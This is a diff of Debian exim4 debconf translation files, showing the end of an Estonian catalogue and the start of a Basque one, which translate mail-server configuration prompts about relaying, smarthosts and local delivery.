+msgstr "Teised domeenid, mille kirjad tuleb vastu võtta:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+#, fuzzy
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Palun sisesta nimekiri domeenidest, mille jaoks see masin end kirjade "
+"lõpppunktiks pidama peaks. Nimekirja pole vaja lisada selle masina võrgunime "
+"(${fqdn}) ega \"localhost\"-i."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+#, fuzzy
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Vaikimisi käsiteldakse kõiki domeene võrdselt. Kui soovid, et domeene "
+"koheldaks erinevalt, pead hiljem seadistusfaile käsitsi parandama."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Domeenid, millele kirju edastada (relee):"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Masinad, mille kirju edastada (relee):"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+#, fuzzy
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Kui sääraseid masinaid on, sisesta nad koolonitega eraldades siia. Nad "
+"peaksid olema tavapärases aadress/pikkus vormingus (näiteks "
+"194.222.242.0/24)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Kohalikele kasutajatele nähtav domeeninimi:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+#, fuzzy
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Uuri /usr/share/doc/exim4-base/README.Debian.gz kui soovid teada SMTP "
+"autentimisest."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Root ja postmaster kirjade vastuvõtja:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+#, fuzzy
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Kirjad \"postmaster\", \"root\" ja teistele süsteemsetele kasutajatele "
+"saadetakse tavaliselt edasi administraatori kasutajanimele. Kui jätad selle "
+"väärtuse tühjaks, salvestatakse säärased kirjad /var/mail/mail, kuid see "
+"pole hea variant. Pane tähele, et kirjad kasutajale postmaster tuleks lugeda "
+"samas masinas, kuhu nad saadeti, neid ei tohiks teise masinasse edasi saata. "
+"Seega peaks vähemalt üks kasutaja olema säärane, et tema kirju siit masinast "
+"edasi ei saadetaks. Võid kasutada prefiksi \"real-\", et sundida kohalikku "
+"edastamist."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+#, fuzzy
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Sisesta üks või enam tühikutega eraldatud kasutajanime."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "IP-aadress, millel sisenevaid SMTP ühendusi oodata:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+#, fuzzy
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Kui jätad selle väärtuse tühjaks, võtab Exim vastu kõigi sobivate "
+"võrguliideste SMTP pordile tulevad ühendused."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+#, fuzzy
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Kui see masin ei võta väljastpoolt üle SMTP mujalt tulevaid kirju vastu, "
+"vaid ainult kohalikelt teenustelt nagu fetchmail või e-posti programm (MUA), "
+"mis räägivad localhost'ga, peaksid väljastpoolt tulevate ühenduste "
+"vastuvõtmise ära keelama. Selleks sisesta üksainus väärtus 127.0.0.1, "
+"keelates avalikel võrguliidestel kuulamise ära."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Minimiseerida DNS pärignute arv (nõudmisel sissehelistamine)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+#, fuzzy
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Tavaliselt sooritab Exim pidevalt DNS päringuid: teenuse käivitamisel, kirja "
+"saamisel, jne - logifailide tähendusrikkuse ning seadistusfailidesse "
+"kirjutatavate väärtuste piiramiseks."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+#, fuzzy
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Kui sel masinal pole pidevat ligipääsu nimeserverile ja ta kasutab nõudmisel "
+"sissehelistamisteenust, võib tulemusena iga exim'i käivitus ja järjekorra "
+"jooksutamine (ka siis, kui järjekord tühi on) esile kutsuda kuluka "
+"sissehelistamisteenuse käivitamise."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+#, fuzzy
+msgid "Mail Server configuration"
+msgstr "E-posti üldine seadistus:"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Jagada seadistus väikesteks failideks?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+#, fuzzy
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Debiani exim4 pakid võivad kasutada kas üht suurt seadistusfaili (/etc/exim4/"
+"exim4.conf.template) või umbes 40 väikest faili /etc/exim4/conf.d/ all, "
+"millest kokku saadakse lõplik seadistus."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+#, fuzzy
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Esimene sobib paremini olukordadesse, kus on vaja läbi viia suuri muudatusi "
+"ning on üldjuhul stabiilsem, kui teine variant pakub jällegi mugavamat "
+"väikeste muutuste haldamist, olles õrnem - võib suurte muudatuste korral "
+"katki minna."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Eemaldada väljaminevast postist kohalik postinimi?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+#, fuzzy
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Et e-post paistaks pärinevat mõnest teisest süsteemist, on võimalik "
+"väljaminevate kirjade päiseid ümber kirjutada: asendada \"${mailname}\" "
+"\"localhost\" ja \"${dc_other_hostnames}\" From, Reply-To, Sender ja Return-"
+"Path väljadel."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr ""
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+#, fuzzy
+msgid "Delivery method for local mail:"
+msgstr "kirjad saadetakse läbi relee; kohalikke kirju pole"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+
+#, fuzzy
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr ""
+#~ "Tõsta veel edastamata kirjad exim (versioon 3) puhverkataloogist exim4 "
+#~ "puhverkataloogi?"
+
+#, fuzzy
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "Exim'i või exim-tls puhverkataloogis /var/spool/exim/input/ on mõned veel "
+#~ "edastamata kirjad. Nad võib üle tõsta exim4 puhverkataloogi (/var/spool/"
+#~ "exim4/input/), kus hoolitseks nende kohaletoimetamise eest exim4."
+
+#~ msgid ""
+#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool "
+#~ "but not the other way round."
+#~ msgstr ""
+#~ "Pane tähele, et tegemist on ühesuunalise protsessiga. Exim4 mõistab exim "
+#~ "(versioon 3) puhvrit, kuid mitte vastupidi."
+
+#~ msgid ""
+#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise "
+#~ "the mail shouldn't be moved now but manually once you've converted your "
+#~ "setup."
+#~ msgstr ""
+#~ "Tõsta kirjad ümber juhul, kui ei plaani enam exim (versioon 3) juurde "
+#~ "tagasi minna. Vastasel juhul ei tohiks sa kirju praegu ümber tõsta, vaid "
+#~ "peaksid seda hiljem käsitsi tegema - siis kui paigaldamine läbi on."
+
+#, fuzzy
+#~ msgid ""
+#~ "If there are any more, enter them here, separated by semicolons. You may "
+#~ "leave this blank if there are none."
+#~ msgstr ""
+#~ "Kui on veel mõned, sisesta nad koolonitega eraldatult siia. Kui rohkem "
+#~ "pole, võid selle välja ka tühjaks jätta."
+
+#, fuzzy
+#~ msgid ""
+#~ "Please enter here the domains for which this system will relay mail, for "
+#~ "example as a fallback MX or mail gateway."
+#~ msgstr ""
+#~ "Palun sisesta domeenid, millele peab nõustuma kirju edastada (relee)."
+
+#~ msgid ""
+#~ "Such domains are domains for which you are prepared to accept mail from "
+#~ "anywhere on the Internet. Do not mention local domains here."
+#~ msgstr ""
+#~ "Need on domeenid, millele oled nõus kirju kõikjalt internetist "
+#~ "edastamiseks vastu võtma. Ära maini siin kohalikke domeene."
+
+#, fuzzy
+#~ msgid ""
+#~ "The domains entered here should be separated by semicolons. Wildcards may "
+#~ "be used."
+#~ msgstr ""
+#~ "Domeenid tuleks teineteisest koolonitega eraldada. Metamärgid (näiteks *) "
+#~ "on lubatud."
+
+#~ msgid ""
+#~ "Since you enabled hiding the local mailname in outgoing mail, you must "
+#~ "specify the domain name to use for mail from local users; typically this "
+#~ "is the machine on which you normally receive your mail."
+#~ msgstr ""
+#~ "Kuna käivitasid kohaliku postinime väljuvatest kirjadest eemaldamise, "
+#~ "pead määrama domeeninime, mida kohalike kasutajate kirjade juures "
+#~ "tarvitada. Üldjuhul on see põhiliselt posti vastu võtva masina nimi."
+
+#~ msgid "Where will your users read their mail?"
+#~ msgstr "Kus su kasutajad oma kirju loevad?"
+
+#~ msgid "Machine handling outgoing mail for this host (smarthost):"
+#~ msgstr "Selle võrgukoha väljuvaid kirju edastav masin:"
+
+#~ msgid "Enter the hostname of the machine to which outgoing mail is sent."
+#~ msgstr "Sisesta väljaminevaid kirju edastava masina võrgunimi."
+
+#~ msgid ""
+#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable "
+#~ "it."
+#~ msgstr ""
+#~ "Käivita see teenus vaid juhul, kui kasutad nõudmisel "
+#~ "sissehelistamisteenust."
+
+#, fuzzy
+#~ msgid "Select the mail server configuration type that best fits your needs."
+#~ msgstr "Vali sulle kõige paremini sobiv seadistustüüp."
+
+#~ msgid "If you are unsure then you should not use split configuration."
+#~ msgstr ""
+#~ "Kui sa ei tea kumba valida, on kindlam jääda ühe suure faili juurde."
+
+#~ msgid "manually convert from handcrafted Exim v3 configuration"
+#~ msgstr "käsitsi teisendamine kodukootud exim v3 seadistustest"
+
+#~ msgid "Configure Exim4 manually?"
+#~ msgstr "Seadistada Exim4 käsitsi?"
+
+#~ msgid ""
+#~ "You indicated that you have a handcrafted Exim 3 configuration. To "
+#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the "
+#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "and /usr/share/doc/exim4-base/README.Debian.gz!"
+#~ msgstr ""
+#~ "Sul on kodukootud Exim 3 seadistus. Käivita peale paigaldamist tööriist "
+#~ "exim_convert4r4(8) - see aitab sul seadistust Exim 4 sobivaks teisendada. "
+#~ "Ãœhtlasi loe /usr/share/doc/exim4-base/examples/example.conf.gz ning /usr/"
+#~ "share/doc/exim4-base/README.Debian.gz!"
+
+#~ msgid ""
+#~ "Until your mail system is configured, it will be broken and cannot be "
+#~ "used."
+#~ msgstr "Kuni postisüsteemi seadistamiseni on e-post kasutuskõlbmatu."
+
+#~ msgid ""
+#~ "Your \"mail name\" is the hostname portion of the address to be shown on "
+#~ "outgoing news and mail messages (following the username and @ sign) "
+#~ "unless hidden with rewriting."
+#~ msgstr ""
+#~ "Sinu \"postinimi\" on võrgunime osa, mis on näha väljuvates e-kirjades ja "
+#~ "uudisgrupipostitustes (peale kasutajanime ja @ märki) kui teda "
+#~ "ümberkirjutamise abil ära ei peideta."
+
+#~ msgid ""
+#~ "Please enter here the networks of local machines for which you accept to "
+#~ "relay the mail."
+#~ msgstr ""
+#~ "Palun sisesta siia masinad, kellelt kõik kirjad edastamiseks vastu võtta."
+
+#~ msgid ""
+#~ "This should include a list of all machines that will use us as a "
+#~ "smarthost."
+#~ msgstr ""
+#~ "See on nimekiri masinatest, millelt tulevad kirjad jaoks on meiliserver "
+#~ "edastamiseks vastu võtab."
+
+#~ msgid ""
+#~ "You need to double the colons in IPv6 addresses (e.g. "
+#~ "5f03::1200::836f::::/48)"
+#~ msgstr ""
+#~ "IPv6 aadressides pead koolonid kahekordselt kirjutama (näiteks "
+#~ "5f03::1200::836f::::/48)"
+
+#~ msgid ""
+#~ "Enter a colon-separated list of IP-addresses to listen on. You need to "
+#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)."
+#~ msgstr ""
+#~ "Sisesta koolonitega eraldatud IP-aadresside nimekiri, millelt "
+#~ "sissetulevaid ühendusi oodata. IPv6 aadressides olevad koolonid pead "
+#~ "kirjutama topelt (näiteks 5f03::1200::836f::::)."
+
+#~ msgid "Configuring Exim v4 (exim4-config)"
+#~ msgstr "Exim v4 (exim4-config) seadistamine"
diff --git a/debian/po/eu.po b/debian/po/eu.po
new file mode 100644
index 0000000..613ee6e
--- /dev/null
+++ b/debian/po/eu.po
@@ -0,0 +1,657 @@
+# translation of exim4-eu.po to Euskara
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans#
+# Developers do not need to manually edit POT or PO files.
+#
+# Piarres Beobide Egana <pi@beobide.net>, 2004, 2006, 2007.
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4-eu\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-06-19 09:45+0200\n"
+"Last-Translator: Piarres Beobide <pi@beobide.net>\n"
+"Language-Team: Euskara <Librezale@librezale.org>\n"
+"Language: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: Pootle 0.11\n"
+"Plural-Forms: nplurals=2; plural=(n != 1);\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Ezabatu bidaligabeko hilara direktorioko ePostak?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Oraindik bidali ez diren ePostak daude /var/spool/exim4/input exim hilara "
+"direktorioan. Exim ezabatzeak hauek exim berriz instalatu arte bidali gabe "
+"geratzea eragingo du."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Aukera hau ez hautatu ezkero, ilara direktorioa mantendu egingo da, mezu "
+"ilara beranduago exim instalatzen denean bidaltzeko aukera emanez."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Exim4-config birkonfiguratu pakete honen beharrean"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4-ek bere konfigurazio beste pakete batetan du, exim4-config. Exim4 "
+"birkonfiguratu nahi izan ezkero \"dpkg-reconfigure exim4-config\" erabili."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "Internet gunea; eposta SMTP erabiliaz jaso eta bidaltzen da"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "ePosta smarthost-ak bidalia; SMTP edo fetchmail bidez jasoa"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "ePosta smarthost-ak bidalia; ez dago posta lokalik"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "bidalketa lokala bakarrik; ez dago sarean"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "une honetan ez konfiguratu"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Eposta konfiguraketa modu orokorra:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Aukeratu zuk behar duzunerako eposta zerbitzari konfigurazio mota egokiena."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"IP aldakor batetako sistemak, markatze telefoniko bidezkoak barne, normalean "
+"kanporako posta \"smarthost\" izeneko beste makina batetara bidaltzeko "
+"konfiguratzen dira internet-eko zenbait jasotze sistemek ip aldakorreko "
+"posta ukatzen bait dute spam babespen modura."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"IP aldakor bat duen sistemak bere eposta jaso dezake edo bidalketa lokala "
+"guztiz ezagaitu (root eta postmaster kontuena ezik)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Benetan ePosta sistema konfiguratu gabe utzi?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Posta sistema konfiguratu arte, apurturik egongo da eta ezingo da erabili. "
+"Beranduago eskuz edo root bezala 'dpkg-reconfigure exim4-config' eginez "
+"konfigurazioa sortu dezakezu."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Sistema eposta izena:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"'ePosta izena' domeinu izena ez duen posta helbideari 'onargarri' egiteko "
+"gehituko den domeinu izena da."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Izen hau beste programa batzuek ere erabil dezakete. Berau `guztiz "
+"kualifikaturiko domeinu izen osoa (FQDN) izan behar da."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Adibidez, ostalari lokaleko eposta helbidea foo@adibide.org bada, aukera "
+"honetako balio zuzena adibide.org da."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Izen hau ez da kanporako mezuetako Nondik: eremuan agertuko berridazketa "
+"gaiturik badago."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "eposta beste helburu hauek onartzen dira:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Idatzi puntu eta komaz bereiziriko zerrenda batetan zerbitzari honek lokal "
+"bezala onartu behar dituen jasotzeko domeinu zerrenda. Domeinu hauek "
+"arruntean \"domeinu lokalak\" bezala ezagutzen dira. Ostalari lokal izenaz "
+"(${fqdn}) eta \"localhost\"-ez beti gehitzen dira zerrenda honetara. "
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Lehenespen bezala domeinu guztiak modu berdinean kudeatuko dira. Bai a."
+"adibide eta bai b.adibide domeinu lokalak badira, acc@a.adibide eta acc@b."
+"adibide helmuga berdinetara birbidaliko dira. Domeinu izenak modu "
+"ezberdinean kudeatu behar bada,beharrezko izango da konfigurazio honen "
+"ondoren aldatzea."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Eposta birbidaliko zaien domeinuak:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Mesedez sartu puntu eta komaz bereizirik sistema honek birbidali behar "
+"dituen domeinu zerrenda, adibidez basbekopiako MX edo posta sare-bidea. "
+"Honek domeinu hauetara internetetik bidaliko mezuak onartu eta bidalketa "
+"lokal arazuekin kudeatzea eragingo du."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "Ez izendatu domeinu lokalak hemen. Komodinak erabili behar dira."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Eposta birbidaliko zaien makinak:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Idatzi makina honek posta birbidali behar duen (smarthost modura "
+"funtzionatuz) puntu eta komaz bereiziriko ip helbide eremu zerrenda."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"helbide/aurrizki formatu erabili behar duzu (adib 194.222.242.0/24 edo "
+"5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Sistema ha ez bada beste inorentzat \"smarthost\" bezala erabiltzen hutsi "
+"ezazu hau."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Erabiltzaile lokalentzat bistaraziko den domeinu izena:"
+
+#. Type: string
+#. Description
